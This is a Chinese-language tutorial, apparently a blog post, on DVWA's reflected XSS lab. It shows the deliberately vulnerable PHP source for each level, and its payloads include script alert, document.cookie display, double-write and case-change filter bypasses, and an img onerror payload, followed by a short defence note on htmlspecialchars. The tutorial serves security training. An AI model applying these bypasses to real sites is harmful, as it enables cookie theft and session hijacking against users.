dvwa之XSS(reflected)

理论知识

XSS,全称Cross Site Scripting,即跨站脚本攻击,也相当于是一种代码注入攻击,hacker在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行。根据注入的恶意代码是否存储在服务器数据库中,XSS可以分为存储型的XSS与反射型的XSS,还有DOM型的XSS由于其特殊性,常常被分为第三种。

SS利用的常见用途:
盗取用户cookies、劫持会话、流量劫持、网页挂马、DDOS、提升权限…

本次我们要讲解的是反射型XSS漏洞,反射型XSS:非持久化,需要欺骗用户自己去点击带有特定参数的XSS代码链接才能触发引起(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

这里需要注意XSS与CSRF的区别,CSRF漏洞是借助用户还未退出的cookie进行恶意操作,属于网站本身的漏洞。XSS属于注入恶意代码,通过网页执行,拿到cookie。前者并没有拿到cookie,只是临时借用用户还没退出的cookie。

LOW

查看源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

源码就只是简单的传参再输出,没有过滤,这时候我们就可以在前端插入我们想要执行的语句。

<script>alert(1)</script>

script的作用是在前端插入我们要执行的脚本语言,alert实际上就是弹窗输出。这里我们要注意的是,XSS与SQL注入的不同点是,SQL是在后端语言注入,XSS注入的是前端页面。当插入上面的语言后页面显示如下:在这里插入图片描述
在这里插入图片描述
这个时候我们可以用F12查看一下前端代码:
在这里插入图片描述
可以看到前端中被我们插入一句话并且执行了,我们在输出“Hello”之后成功注入了代码,原本这个地方应该是输入数据的,但是却变成运行代码了 ,然后我们就可以利用这个漏洞,输出cookie

<script>alert(document.cookie)</script>

中级

查看源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

相比低级,中级多了一个过滤,str_replace函数将输入中的<script替换为空,绕过方法很多,最简单的就是双写绕过和大小写绕过,
双写绕过:

 <sc<script>ript>alert(123)</script>

大小写绕过:

<Script>alert(456)</script>

高级

查看源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

$name = preg_replace( ‘/<(.)s(.)c(.)r(.)i(.)p(.)t/i’, ‘’, $_GET[ ‘name’ ] )过滤了所有和script有关的情况,这个时候我们就只能用别的标签了
img(图片插入法)

<img src=1 onerror=alert('1')>

防御机制

htmlseecialchars函数,因为前端有自己的解析方式,会把类似script这种解析成固定的功能,而htmlseecialchars函数会把所有的文字仅仅当成一个字符串,不会赋予特定的功能。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值